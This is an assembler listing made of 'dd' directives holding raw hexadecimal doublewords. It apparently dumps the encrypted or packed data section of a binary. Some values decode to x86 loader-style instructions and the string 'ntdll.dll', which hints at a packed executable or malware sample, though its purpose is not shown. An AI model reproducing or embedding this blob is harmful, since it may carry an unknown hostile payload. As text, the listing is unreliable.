dd 0CC7DFC11h, 0B69CBB52h, 0FD1C2D27h, 0FC2099F3h, 1EEBA43Ch
dd 260A4h, 1170BA00h, 52109DB5h, 4A71DF70h, 1ADED632h
dd 102CB45Dh, 310EADD9h, 6A3EA606h, 0E5EFC3DBh, 8F8C9BA6h
dd 0A1018416h, 85572D7Fh, 17D8725h, 5AEE4165h, 52D2A3Bh
dd 4CCD9CB8h, 8B005284h, 47163Eh, 8BD0EF40h, 43224330h
dd 0D07ED0F2h, 483E2381h, 1587FA6Bh, 1D80107Ch, 0FBF90A68h
dd 0C19C4B79h, 0D8Eh, 0EBCB8BD7h, 0F9D975C5h, 0E5C585D7h
dd 0FEDC74C3h, 0E7C78DDCh, 0C3127BB4h, 0C10F3191h, 0BC0F3191h
dd 0B90C2E8Ch, 29263393h, 0B7085AB4h, 54EE2316h, 351E0C2h
dd 64697B9h, 0FB5786A9h, 0C4109DB4h, 0CCE87741h, 0AF992E95h
dd 9FCEF1CEh, 109DB543h, 123F890Ch, 84F27BE3h, 0DAF91C16h
dd 0C9E664F8h, 6DFC50E1h, 94B6A42Ch, 5AFA4740h, 95282A3Bh
dd 5F8AA6B7h, 5CF04169h, 846FB12Dh, 7A1B7A0Ah, 62BD285Dh
dd 0F9D61075h, 715D0A84h, 2AB2D304h, 84495BDh, 8AC61539h
dd 5A3B5ABBh, 0F542D927h, 6A670679h, 0CE6h, 8323337Fh
dd 61410D9Dh, 7D5DED3Fh, 66440C5Bh, 7F5FF544h, 3B8AE34Ch
dd 4997B919h, 3487A909h, 4194B614h, 0C19EAB0Bh, 0B707D24Ch
dd 0DC869B16h, 51E06CBDh, 0A6205572h, 0DA109DB4h, 1479C688h
dd 477970CCh, 0B71C36F8h, 6946278Eh, 8EED29F4h, 13B3D216h
dd 12B09C2Dh, 90BC0D35h, 91F5EC48h, 0CABB1032h, 0A9B8D97Bh
dd 0C01A4B68h, 890A8AD6h, 0C09FBC04h, 3706489Ah, 407F0ED6h
dd 0CD107214h, 1446B48h, 0C2C91BC6h, 391FB219h, 0CA1BFCFDh
dd 5BEDD502h, 0A2B3992Ch, 7DA50263h, 0FC9C582Ah, 1436C67Ch
dd 4B6D6B75h, 0BE0051F9h, 0A7461B6Bh, 0FC98DAD2h, 77C688DAh
dd 0CAE67716h, 0E7C8E79Fh, 3D3995C8h, 83020471h, 305FCA39h
dd 52780A62h, 0E9864E00h, 2A1B77E6h, 0A1E4FE5Eh, 10598DC0h
dd 0BB7273E2h, 0BFD9Eh, 7CDA6800h, 64EA7C5Eh, 7AD06446h
dd 6BE5765Ch, 7CD8654Bh, 0ABC06F5Eh, 0B298361Eh, 0B0923022h
dd 0AB8D2D1Bh, 0C794321Ah, 8F95588h, 4FC216B7h, 0E06CBDF3h
dd 0FD4DDFC3h, 44A32D6Ch, 268501E8h, 559FB504h, 0A01CD508h
dd 789D168Eh, 68E6785Ah, 76D6674Bh, 10700051h, 935D7285h
dd 0F0426845h, 468E0F5Eh, 2C8AC014h, 0C8BEA38Eh, 51E6CCEBh
dd 9D2766F7h, 8EB3D36Eh, 0A8B9DC16h, 8AACF959h, 45B6500Ah
dd 0AD125917h, 8B015Ah, 0F0D20000h, 70EAF260h, 50E16DBDh
dd 2735473h, 109DB488h
dd 419DCC51h, 0A109DB4h, 0BF0F418Bh, 83D278CCh, 0B3B51144h
dd 1F7E109Dh, 0C4E1F7Eh, 82C495BBh, 80C01E30h, 4FBE1D69h
dd 168EBA1Eh, 599BCE4Fh, 5E800E8Bh, 0B2492CFh, 0F5410000h
dd 0CF5F4161h, 0E7795F7Fh, 0CE5D4363h, 0AFFE2482h, 191605A5h
dd 0CFEF65F4h, 0D7F75BE9h, 0CCEA5EF1h, 0D9F953E6h, 449ECF10h
dd 0D16B70Ah, 6DBDAA94h, 4FE0C2E1h, 0BE99B701h, 54h, 236DBD24h
dd 9DB558B2h, 9DFC2110h, 0D7970CCh, 0A5CA3FAEh, 42C3168Eh
dd 0E88AF0Fh, 0C49E080h, 0AC2h, 9F3F17A3h, 852529B9h, 993911A3h
dd 8A2828B7h, 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h
dd 0E5785A78h, 557A4767h, 0B709A620h, 83A6F16h, 8C1D6CBDh
dd 711071C0h, 14BDEE0h, 230C4B30h, 7B6D1293h, 335D6712h
dd 0ADC6F196h, 6446533Fh, 0D8984088h, 80A3411Bh, 24Dh
dd 0D0E9B9D6h, 0B4962A99h, 0F6D9F6D5h, 9DB50B87h, 0AB1D410h
dd 3D019C13h, 0B84791CAh, 168EE939h, 0A528CB4Ah, 0DCF74DC6h
dd 0EAC9BDA4h, 1F7BEACDh, 0E816F33Eh, 610052E2h, 3DB71342h
dd 1D8016F3h, 34B934D3h, 85C21CE4h, 0E01DF650h, 3F5EBF10h
dd 0AFD7122Eh, 0A1082F10h, 0B771630Eh, 5DC842B3h, 0C9110E0h
dd 0D724636Dh, 4416CE71h, 6DC0E2C1h, 8ADA00DFh, 0F5D200C8h
dd 0E127A3D2h, 0ADF00AC9h, 0B9EB5306h, 6E765150h, 0FE73D96Ch
dd 804DA9AAh, 0CF2520C7h, 96000009h, 8AB00E48h, 92B81638h
dd 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah
dd 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B70A9Fh, 0C20D3168h
dd 7F4299DDh, 3983AE4Bh, 0B687C717h, 2546F7Ah, 0FD9CFD4Ch
dd 0AFDE01DEh, 109E1433h, 0C781D6FCh, 6E761776h, 854F9E1Fh
dd 516EAF16h, 6B75D969h, 9A66516Eh, 97167EF7h, 5EEF5BEDh
dd 44965E3Fh, 5A805EF4h, 0BBF9480Ah, 92C3E0A6h, 1075993Bh
dd 183A99FCh, 52D8AC8h, 4529AB6h, 75C48E1Eh, 194C0051h
dd 79F57AB5h, 2F322FBEh, 36000009h, 2A10AEA8h, 3218B698h
dd 2C0EAC9Eh, 3315B59Bh, 1D10AEA6h, 0E86CF912h, 0FA58E8CAh
dd 0E761F6DCh, 0FC50E1C7h, 9BCA15DEh, 16B70C3Fh, 0C2AD9108h
dd 0B51670E5h, 0BEDF109Dh, 55C94436h, 87109DB5h, 73E17052h
dd 0D0AA1F69h, 2E8DF9F0h, 8E9366BFh, 0C9E62716h, 0C83D4FE1h
dd 0A8A8F4Eh, 49C53817h, 120A8A8Fh, 0D4F392F3h, 63F25CEEh
dd 7CBC9A22h, 53822165h, 1074F23Eh, 91B91677h, 8BAF0C40h
dd 8AC81038h, 423715A8h, 79F8D1BAh, 9B1D38EFh, 0CA000008h
dd 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h, 0C7E9C987h, 0C9FCDA7Ah
dd 9CB80566h, 86CC1C3Eh, 9BAD0228h, 88C4153Bh, 0CF3E212Ah
dd 16B70D53h, 7059051Ch, 109DB512h, 0FA4E7453h, 0B4A52150h
dd 2F6E109Dh, 2A22B3A5h, 31558C8Ch, 0EB8AB592h, 0C383196Eh
dd 1B0E7D47h, 0D4168F98h, 3A2D12B1h, 24DBE2E2h, 0C2E8F5FFh
dd 0D6FCDB6Dh, 1978C983h, 0C9F81CFh, 23302D3Ch, 0B000008h
dd 786AA024h, 0FEC6C500h, 0C8BEA364h, 0D474C7EBh, 0B39ECF0Ch
dd 0C168EAFh, 7E578223h, 4E96EB3Ch, 9CED7CA1h, 0A8A273Eh
dd 0D780F995h, 0E2EA62F3h, 0AD98BA7Ah, 13D225Ah, 0BD380000h
dd 4B8FDE6Ah, 0C20455FDh, 4A8CDD6Fh, 527353F5h, 0B4860075h
dd 0CE4F109Dh, 0C97FD406h, 5D213C78h, 0B3CB0F7Eh, 0E124109Dh
dd 79127C50h, 0F4D276C9h, 7ECF79CEh, 66EA7961h, 0B2A72F5Eh
dd 8F01109Dh, 456A4DFAh, 794750D1h, 96F061FBh, 5F109D45h
dd 45910D80h, 3B5A109Dh, 0EB40925Ah, 7A607D5Dh, 546068EAh
dd 27567509h, 109D45B3h, 6D5FF3DCh, 5BDB77B9h, 0A0B1D491h
dd 66440E9Eh, 0F5EF444h, 83D27ACBh, 0D5CEC3Fh, 0F1D579C9h
dd 465AEB5Fh, 0F2C6AF4Ch, 9570B80h, 0EA005A8Bh, 44C9109Ch
dd 5AA18625h, 401CAAD6h, 123826AEh, 0D27ECDC2h, 5B86A2B3h
dd 12A68C2Bh, 8429638h, 0C310D839h, 8E336F92h, 0FA7FC816h
dd 9C40E90h, 795F7F1Eh, 0DAD667EBh, 0A1D4F38Bh, 0A89BC29h
dd 68E6785Ah, 0B330B8D9h, 0FA4E418Fh, 0E1800150h, 83E26EBDh
dd 9EC19EB2h, 89BBF36Fh, 4596BC0Ah, 0BADB3A0Bh, 0AF63D832h
dd 75DF6E21h, 0E6C4A5E4h, 1DE74C4h, 74C589D9h, 201CCB15h
dd 411EBDC9h, 0BC73EF1Eh, 1AA70A89h, 5DEA2B3Ah, 1051B038h
dd 0A1107ABAh, 0EC7C5E7Ch, 0CD624866h, 0C2FD5B7Bh, 0F14051E0h
dd 7EBA0263h, 9B842363h, 733660CAh, 48955F17h, 8ED9FC15h
dd 8F123D16h, 92818D9Fh, 78DC694Dh, 78C9A8E9h, 6662745Bh
dd 53E26EBDh, 0F48B8D32h, 0FB4B8D57h, 0A3D57353h, 0C2E8C7BDh
dd 0C8DDC6Eh, 76D425C4h, 0CD109DB5h, 0D4A4C841h, 0B6A341EAh
dd 0BF093F94h, 2958h, 6DBDFE00h, 0A52150E1h, 0E7109DB4h
dd 0CC5E14A5h, 95B12482h, 49109D92h, 993657FBh, 2830EAEh
dd 0A7311EADh, 0FFFFB6ACh, 6CBD12FFh, 5A5EAE1Ah, 2746FC94h
dd 0A3F6500Bh, 0C16BC7BDh, 0DE994767h, 3741A641h, 15000000h
dd 0B004BDA3h, 0C25FFB9Ah, 96F76EDDh, 717BF64Fh, 175C4364h
dd 9EB404CBh, 48F1C739h, 0B03859F7h, 9DCFF551h, 35FBE10h
dd 6DBD68C2h, 0E37D45E1h, 37C4h, 0BDA36A00h, 0E5C26BC7h
dd 16DE6ABDh, 9DB51B77h, 0AF8B0A10h, 0E0C268C2h, 87DCFE4Ch
dd 85D5F7C1h, 4275C603h, 92F36EEFh, 70E5C2B8h, 109DB516h
dd 0E56DFBDFh, 8DA3C84h, 8EDF6BBDh, 9DB4A3FFh, 386D710h
dd 49C899B1h, 0A5351928h, 557998A9h, 14FA4B07h, 0BC100576h
dd 0B709B952h, 0E5C41FCDh, 0F899C73Dh, 0E868F7DBh, 7883F2E0h
dd 8B109E3Bh, 0FFF3E32Eh, 0E0C294FFh, 87DCFE4Ch, 85D5F7C1h
dd 73C8EAC9h, 0BB0584D5h, 7B48A19Dh, 0B1D061E9h, 3F82F3D0h
dd 98168EA4h, 1F2E20B2h, 3FCE9FFEh, 0A8A9DDFh, 0D7062936h
dd 0A8A9E7Bh, 8DF7C144h, 0F96C4BFCh, 0A8A9D9Dh, 459D2766h
dd 5AAD0F77h, 11DFh, 0AEDF0000h, 0A8A9634h, 865098FDh
dd 1C4h, 0BEA36A00h, 0E6CCEBC8h, 2869F852h, 84E461A0h
dd 68AD168Eh, 0E965F5D9h, 72C6ECC9h, 0B889C515h, 0E8293859h
dd 84EFA1E0h, 0AE940A8Ah, 0A5A7311Bh, 0B2983612h, 3D1A2B1Dh
dd 3D87C315h, 0E38D3A17h, 2127BC66h, 770BA082h, 7BEE8A2Ah
dd 273657E6h, 0DA00DEE6h, 3A5C587h, 0CA8AD7B2h, 28B81A7Bh
dd 9BFA1B2Ah, 2A9FE9FBh, 0AF2B5A7Dh, 780A8A1Eh, 2E22B115h
dd 0E4F6FE1Fh, 0E5A63851h, 2667F652h, 0A1892647h, 0EB2A3B0Fh
dd 477230E1h, 0A3C1DE89h, 0E231h, 0BAA30500h, 0FE9FB301h
dd 0E66AF9E1h, 0E5C284DEh, 52E36FBDh, 0FB5AA933h, 0F2109DB4h
dd 68C2C763h, 1670E5C2h, 0DF109DB5h, 66DC36BEh, 0E56194B3h
dd 0AE109DB4h, 0BDFB656Fh, 0DCC3E06Ch, 0BFED8523h, 17C10B9Bh
dd 0FF4DE0C2h, 46A52F6Eh, 9BDA38Ch, 9DB57AD4h, 0C842B310h
dd 91109DB4h, 0CB1B3F0Ch, 3253B283h, 67C1F753h, 0FE4CE0C2h
dd 3EA62E6Fh, 0A641DE6Eh, 0B6982A10h, 475E66A7h, 1Ch, 0C7BDA31Bh
dd 3793C26Bh, 109DB5h, 68C2C19Dh, 45E16DBDh, 35C4E37Dh
dd 6A000000h, 6BC7BDA3h, 0B53793C2h, 0F426109Dh, 290A2864h
dd 29D4B50Ah, 0C20D2948h, 0E16DBD68h, 7F607D45h, 9DB4940Eh
dd 0B7A5D10h, 109DB48Fh, 72543558h, 0F7616BDDh, 0FFFF22C4h
dd 70C3E7FFh, 0B56FEB1Ah, 0D538109Dh, 0BDB22CB4h, 0DB431A6Ch
dd 0A72AA4D9h, 92F3109Eh, 0DED3352Dh, 0D332034Dh, 93C110B2h
dd 132243C2h, 91BB0E34h, 0CE697BC0h, 10E6CEB3h
dd 0D4656771h, 35E5A78h, 51E06EC0h, 50725130h, 0DBFF4EFCh
dd 1AA2C38Bh, 0C83D1A3Dh, 109EAF4Eh, 0D38A417Fh, 223167B1h
dd 0DC10341Dh, 7011B2C1h, 5EA82253h, 2C71109Eh, 4D0865A4h
dd 0D901168Fh, 9FAFFF86h, 1F2E4FCEh, 5179F6FEh, 0FF6E4D01h
dd 0A8B48A3h, 0F948296Ch, 8B490A88h, 9425610Ah, 0AC72A868h
dd 51105Ah, 7FA30000h, 86E55C32h, 82E6482Fh, 0A37FD9E3h
dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h, 2B546C0h
dd 5DDCB71Dh, 0A0D53147h, 0A89E526h, 5CFAEEFh, 0ADDA9F5Dh
dd 0EB475Ah, 0B7980000h, 89F0CC46h, 0A2B0000Ah, 0DDE57293h
dd 2E6FFE4Ah, 0C2DB854Fh, 7D8497DDh, 8A52F384h, 6A91F548h
dd 83A39A32h, 0C3075637h, 0DE01DE76h, 9F7D61F9h, 64155DBDh
dd 109E37EAh, 0C36D52B3h, 0FBC249ACh, 1D21C008h, 4D71C08Ch
dd 37250FCh, 109E01CFh, 4D6AE273h, 0E677D365h, 1E3F1DA7h
dd 90497039h, 4FDD542Ah, 785A6203h, 0DAD667E5h, 0A5D8F78Fh
dd 168F7F38h, 3B1FBCE1h, 3A18A0A8h, 4A3E3FEh, 75E655D1h
dd 0A03F5E10h, 89292BBAh, 97C1AA7h, 475D38Dh, 23563756h
dd 79F9B9A3h, 132825C4h, 52000002h, 4E745204h, 4E7452FCh
dd 507250FAh, 4F7151FFh, 41745202h, 24307DEEh, 3E14A486h
dd 2325BAA0h, 400C9D83h, 7765962h, 16B7128Bh, 0BD213D54h
dd 0BC902170h, 0FB4A6CADh, 0B89A3859h, 0A6872725h, 0D31D3384h
dd 0C8BEA309h, 177AC7EBh, 0DCE485C5h, 988F8EFFh, 0EAD0168Eh
dd 0ABDAF95Bh, 0A8A892Fh, 9E4B95F8h, 3F9FEE7Fh, 960A8A89h
dd 9F5D7FFCh, 475AAD3Eh, 0AEh, 0E06CBD1Bh, 74E06D51h, 0B18294E5h
dd 9326109Dh, 0B1108AFBh, 0B4D9109Dh, 82D3F5D5h, 243D7BCAh
dd 0C5104562h, 6E168E81h, 5A8F8F2Fh, 835E8F2Ch, 4C1074DDh
dd 0D980DA0Bh, 0C4490474h, 952406A5h, 1C3E1FBFh, 0DB73C3CCh
dd 4D6AABBAh, 74D8BE18h, 0BE068704h, 52074D9Ch, 79F8BEDEh
dd 37213CEBh, 2E000001h, 3218B6A0h, 2A10AEA0h, 3416B496h
dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
dd 2428B99Fh, 6392BD86h, 16B713E7h, 0C2C579B0h, 330250E0h
dd 79C80AD2h, 84D5FBDBh, 3897B305h, 9DB549C5h, 92F31210h
dd 6CBD9634h, 0DC6D51E0h, 52755270h, 9DB4A723h, 0A32D7010h
dd 97345297h, 8E92EF66h, 0A53A2016h, 49CC19A3h, 57F5486Ah
dd 4C005177h, 1EAABFFDh, 8A8F73EFh, 3414A70Ah, 0BC942327h
dd 6C0D6CADh, 0D1971E4Fh, 55B81071h, 0F5327620h, 0DDF8AF79h
dd 9Ah, 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh
dd 0F3D381D0h, 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h
dd 0D521FBFh, 0B7157ED8h, 70D24716h, 0BF02BEA3h, 0BF555D87h
dd 92C3E081h, 1685D607h, 7A5CED30h, 634565E7h, 9AEB7AD2h
dd 0FCC4A693h, 3DB08FB0h, 0F8448FE1h, 3B19A8AAh, 2D8AEB2Ah
dd 44905EB8h, 0DEE627F8h, 0DA6B17B4h, 0DB6E5472h, 4DDEE071h
dd 0F41E3203h, 321AAB57h, 311BAE94h, 2FFC2320h, 55ED9B3h
dd 51E074C1h, 0DD6D5130h, 36C6771h, 0D2000000h, 71BDE17Bh
dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 83221524h, 3C8904ECh
dd 81E78924h, 4C7h, 4EF8300h, 5C243C87h, 81E68956h, 4C6h
dd 4EE8300h, 5C243487h, 68242C89h, 49F8h, 57240C89h, 5C175ABFh
dd 2EB5BD38h, 0FD01CDBDh, 81243C8Bh, 4C4h, 4EC8300h, 81242489h
dd 42404h, 50590000h, 868h, 0C8015800h, 0FF582889h, 83592434h
dd 34FF04C4h, 0C4815D24h, 4, 0FA201FE9h, 0CDB825FFh, 3061960h
dd 85C650C5h, 61311E1h, 17256847h, 0B5FFCF38h, 613116Dh
dd 3AAD858Dh, 0D0FF0613h, 858DD88Bh, 6132609h, 1046850h
dd 0D3FF0000h, 11E185C6h, 68530613h, 8307F8BFh, 116DB5FFh
dd 858D0613h, 6133AADh, 8589D0FFh, 61943D9h, 1F95BD83h
dd 0F000613h, 0B84h, 819D8B00h, 0E9061330h, 5, 0BBh, 1006800h
dd 0B58D0000h, 61943DDh, 95FF5356h, 6131925h, 43DDB58Dh
dd 0F0030619h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh
dd 0FFFFFFEDh, 8D0006C6h, 1943DD85h, 95FF5006h, 61943D9h
dd 0EBE0FF58h, 66175D7Dh, 0F414477Ch, 363C705Fh, 0D94769A3h
dd 8C3F58C2h, 5B5787A8h, 35171906h, 9F13FF5Fh, 4222C227h
dd 7E1D21F4h, 944999C1h, 0E874DE67h, 8, 6B9EFE0Eh, 59B7F301h
dd 0B95858B1h, 18E35D50h, 62A0C081h, 28B10000h, 68h, 820F00h
dd 5B000000h, 0DAD5B966h, 570334FFh, 14E9h, 7B3A0900h
dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 665E5972h
dd 0F681CB8Bh, 2384F5F9h, 82FABF66h, 2DA9F681h, 8B6636F3h
dd 0C2EE81D3h, 6611AA56h, 56B5F3BAh, 8F5FFC53h, 8B661804h
dd 17800FD1h, 0E8000000h, 0Fh, 8DC94E4Fh, 24888EE7h, 792D36D0h
dd 8A8B1C2Ch, 0EB835AF5h, 8E904h, 6F000000h, 7A420349h
dd 0FB8179DDh, 0FFFF9E18h, 0FF7E850Fh, 0DE9FFFFh, 6A000000h
dd 89CC0E81h, 5D6B2A6Bh, 0F248A4AFh, 0FE8h, 0D1C36000h
dd 0F9EFAA4h, 65B4545Ah, 33AECC65h, 284DC181h, 805A5A06h
dd 0C281C9E9h, 5E1Ah, 0FE9h, 7EAA0700h, 0F20ECF4Ch, 7127BC53h
dd 72C3EBCAh, 175068h, 8E0F00h, 58000000h, 14E8h, 0DFE50F00h
dd 0DEE88B2Bh, 7F712244h, 535E4FBAh, 0D58CF388h, 5B3BB198h
dd 0C681328Bh, 14BB0D98h, 0C2C3EE81h, 0E8601E0Ah, 7, 2B6658h
dd 0F320947h, 0E95EF0BFh, 0Ah, 2DD69FE9h, 60158619h, 81618064h
dd 52EB49C6h, 56CF8A0Bh, 0A860Fh, 8F0F0000h, 4, 0B915BF66h
dd 0BF66028Fh, 0EA810E88h, 109D282Eh, 38BEDF81h, 0C2813AA6h
dd 109D282Ah, 0A4F1E4B9h, 1E88135h, 0F000000h, 0FFFF8F85h
dd 0C860FFFh, 0F000000h, 687h, 8A0F00h, 8D000000h, 1964678Dh
dd 3FC6006h, 130DAD85h, 8D896106h, 6131BBDh, 1F58529h
dd 0BD0B0613h, 6131999h, 18DD85C7h, 6E580613h, 8B660000h
dd 5585C7C2h, 61330h, 0F000000h, 1988h, 7E800h, 28B00000h
dd 69D76843h, 7E94Fh, 180A0000h, 34A819D7h, 0B58B5A5Eh
dd 61313A1h, 13D1B5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 440887C3h, 0BB18FA4h
dd 95FFA1B0h, 6131D89h, 1AA99D29h, 6A0613h, 0DA995FFh
dd 0C08B0613h, 930F3AEBh, 2F6E49C0h, 0CF6F56BEh, 0D02B16EBh
dd 0FCD1AB17h, 0DF9D3384h, 0B6DB48D3h, 736BC0E5h, 1ECA4233h
dd 0A5746C49h, 10336CEh, 40BF685Bh, 4A2144F3h, 0CFF9CFEDh
dd 78E1D9D5h, 45E9h, 27561D00h, 1D8C9344h, 81E89DE6h, 64746E2Eh
dd 642E6C6Ch, 67006C6Ch, 3B2BD14h, 0FEB980h, 9 dup(0)
dd 14E90000h, 68000007h, 619664Eh, 0FA1C63E9h, 672D68FFh
dd 59E90619h, 68FFFA1Ch, 61967B8h, 0FA1C4FE9h, 68AA68FFh
dd 45E90619h, 68FFFA1Ch, 6196986h, 0FA1C3BE9h, 6A7068FFh
dd 31E90619h, 0EEFFFA1Ch, 0F2D8F660h, 0EAD0EE60h, 0F4D6F456h
dd 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah, 0E270C0E2h, 0FF49DEC4h
dd 0E468F9DFh, 0A3D2FDC6h, 16B71A27h, 0C485B9F0h, 40h
dd 0E06CBD6Ah, 0FE4EDFC3h, 25377F6h, 1B4A6D4Ah, 109DB4BFh
dd 5AEB63F3h, 0DFE92C3Bh, 0B50482F1h, 5D45109Dh, 0DF69BECDh
dd 4C6EAFBEh, 4B8D57FDh, 5E968AF8h, 0A50A6682h, 0E8293814h
dd 70CAE889h, 351E0C2h, 7BD60D32h, 4A2F903Eh, 4C95A12Bh
dd 23B59D3Ah, 4DC09D27h, 168F1160h, 8278409h, 8B1179D5h
dd 0D602AA0Ah, 6265680Eh, 0B928B0D5h, 8B2BCA48h, 0D6B3060Ah
dd 1B7ACB85h, 56E7EB7Ah, 842667F6h, 0DA4E1F35h, 0AB322398h
dd 153DEA5Fh, 984088C4h, 5AAC9DD8h, 21C80h, 0DD6F5300h
dd 8E0466Dh, 7C425E24h, 0D0B9EA74h, 0F7D4B2B7h, 8EA5E786h
dd 7295F816h, 0A0026ADBh, 0D1B5ACCEh, 0E79683F2h, 0DE3F4C4Ch
dd 4E38318Fh, 0FACFFC71h, 0D93C4636h, 0C785D8FAh, 0DC70C1E7h
dd 0B62F1DA9h, 5A7736AFh, 501h, 3797BF0Bh, 2D8DC111h, 3191B90Bh
dd 3290C00Fh, 3393C110h, 6FBE2F00h, 55E3C5E5h, 68FBDDFDh
dd 4DE0C2E0h, 0CD12DFFFh, 0B71B3E98h, 0B0920716h, 0B3226CBDh
dd 109DB557h, 0AFDEFD20h, 109DB533h, 69F899FCh, 57F5486Ah
dd 9038318Dh, 9DB5015Dh, 0ABA73510h, 2923B69Ch, 5B8A2948h
dd 168E963Eh, 61F2D8F7h, 4E3F5EEFh, 0A8A93D4h, 0F370789Dh
dd 810A3492h, 268501E8h, 7B8536B7h, 25C64710h, 0D9DAC3A8h
dd 0CEB8B17Bh, 0B4B17CF1h, 0E5CA71CAh, 5C7EFF86h, 16E76D9h
dd 0B18ECD9Ch, 0C6BBE23Ch, 70EA1B65h, 3965C6BCh, 0BE0687D4h
dd 0C01F6782h, 0B4CFFE4Dh, 6AF7DB6Bh, 85E2EAh, 1E2E7FA3h
dd 444699C1h, 0B03FB511h, 7E1F7E5Fh, 3826AEEFh, 0D88DBF12h
dd 0D5340558h, 2293CE5Dh, 0EA000004h, 0F6DCFA5Ch, 0E6CCEA64h
dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh
dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B71C73h, 0C279E53Ch
dd 0B51670E5h, 0BEDF109Dh, 0BB912436h, 33538EAAh, 0B18C6194h
dd 8005168Eh, 8BFBE622h, 0CB0EB92Ch, 4C731071h, 0FAE37539h
dd 0D3A616E4h, 0B56A8B30h, 0FF36F9Eh, 59BC0471h, 587A5938h
dd 41674705h, 0AF0D5CF0h, 7EEFCCBAh, 0A6205F3h, 0D684F91Ch
dd 773E1B7h, 3976560h, 0E9750000h, 0DB6B4D6Dh, 0DB6D5373h
dd 0DA694F6Fh, 0E3725876h, 0CD625171h, 634311A0h, 4363EF3Dh
dd 607ECA5Dh, 4565E77Ah, 0A822537Ch, 7116B71Bh, 6CBD0638h
dd 51DFC3E0h, 0C28B701h, 5B10EBD5h, 6EFE60FCh, 643DB00Fh
dd 25168F6Eh, 52DFC3E0h, 56B6AE3Ch, 8AEB04DFh, 0A2755ABBh
dd 4A247A26h, 11302EB6h, 1CAh, 0ACD5B9ADh, 83F2D1B5h, 168EA5E2h
dd 0B5114463h, 7E0A8AA2h, 0F518D51Fh, 7BEACD12h, 0A8AA31Fh
dd 0EC1BA5E8h, 0DF8E32AEh, 90FB4B6Fh, 6A721341h, 5473134Eh
dd 3EA18821h, 3504891Bh, 0D8223116h, 0ECEDEAF2h, 3291D8E4h
dd 0AE04AB9Dh, 9362660Dh, 8CAE0D6Ch, 0CCB0173Dh, 0A6593CD8h
dd 0E3123F89h, 15287494h, 0C589D901h, 57741574h, 4D6AE273h
dd 56F4486Ah, 23E3AB27h, 0C7117409h, 3616A789h, 0A7AAA543h
dd 2E2BC27Eh, 2A5h, 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h
dd 5777DD6Ch, 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch
dd 59764363h, 0B71CAA24h, 441E7316h, 0C3E06CBDh, 6DFC4CDFh
dd 3F30D966h, 0B3D257F8h, 637EBA29h, 0A9E8423h, 2A5B7840h
dd 168F4AEFh, 8FC11238h, 0E0899BEh, 5E597808h, 59815E3Fh
dd 1B31840Bh, 22AACB4Ah, 0C1341334h, 0A8BA845h, 0D966EA79h
dd 0B9262CB4h, 6A5E108h, 0A0B40129h, 9948E918h, 0E1C9107Ch
dd 12310054h, 789767E3h, 8CED3004h, 0ADE06B27h, 0B03852AAh
dd 9C31D233h, 92572B23h, 0B9167079h, 878FAD44h, 19411E7Bh
dd 7DD988CCh, 466F837Bh, 2D70FDC7h, 0BDC9201Ch, 8FA0EF1Eh
dd 880D7571h, 96B6072Bh, 8DBF1238h, 0F0C636D8h, 0ADA83FDEh
dd 1C9h, 7F5FF743h, 65450959h, 7959F143h, 6A480857h, 7B5BF948h
dd 3786E748h, 4D9BBD1Dh, 3083A505h, 4598BA18h, 0B59AA707h
dd 0B71DC640h, 281A8F16h, 1670E5C2h, 0DF109DB5h, 0B5118D00h
dd 0BBDA109Dh, 6DC012DAh, 0B572EC21h, 0DA3B109Dh, 0BBC645F5h
dd 2C4DC37Dh, 0BCCA1F1Dh, 3F1BEE1Fh, 7194168Fh, 0BEA3F751h
dd 67C4EBC8h, 9B8A1F9h, 6499C60Eh, 168527A5h, 5CF24466h
dd 19B6D794h, 9FAEA231h, 0A6D14DC0h, 7B9A0A84h, 9D85D21Ah
dd 4062400Ch, 0F26CA1EDh, 2B0A84A6h, 84A760BAh, 57E4290Ah
dd 0AA065736h, 9BB104BFh, 0D7A8DDFAh, 0BC106BC2h, 0C0084296h
dd 0DDC5E223h, 62EE3D4Ch, 0F3D3B2D3h, 81D07CCDh, 6B483E23h
dd 0F5476B4Ch, 0D4850455h, 46B427Ah, 8BFAC243h, 0A5C224Eh
dd 39037697h, 6E73DBE8h, 0DFA2BFh, 0A12D0000h, 0A33315B5h
dd 93250BABh, 0A23117B7h, 9B2A10AEh, 52A19B9h, 0DBFB59E8h
dd 0CBEB67F5h, 0D8F652E5h, 0CDED5FF2h, 30AADB04h, 0F916B71Fh
dd 0BEA3BEA0h, 0C57AEBC8h, 0B21684D0h, 215BF68Dh, 1071C094h
dd 889194ABh, 83C3F955h, 2243C20Ah, 0C3F65085h, 5EBF0A83h
dd 0A5B4D996h, 0E87910A1h, 81A60564h, 2BBA0749h, 70218229h
dd 1B3D1BA5h, 42B382CAh, 4C8A2F5Dh, 0EA7BD765h, 66F755E8h
dd 0AC9932A0h, 30E2579Bh, 0F359EC9Dh, 0BB0E3492h, 0C0103291h
dd 7ECF7FCFh, 0F7767E1Fh, 0E665EFD8h, 0D4A50AB7h, 0D779CA0Ch
dd 0AB205286h, 0C8E666F7h, 0DC74C3E7h, 55F9498Dh, 17AAAC34h
dd 1FB49635h, 0EC7DD766h, 7EEFCCADh, 0C8469D24h, 0C120A8EDh
dd 0C84h, 5E7B2A00h, 0FD2C1F79h, 47917A45h, 0E571BD8Dh
dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
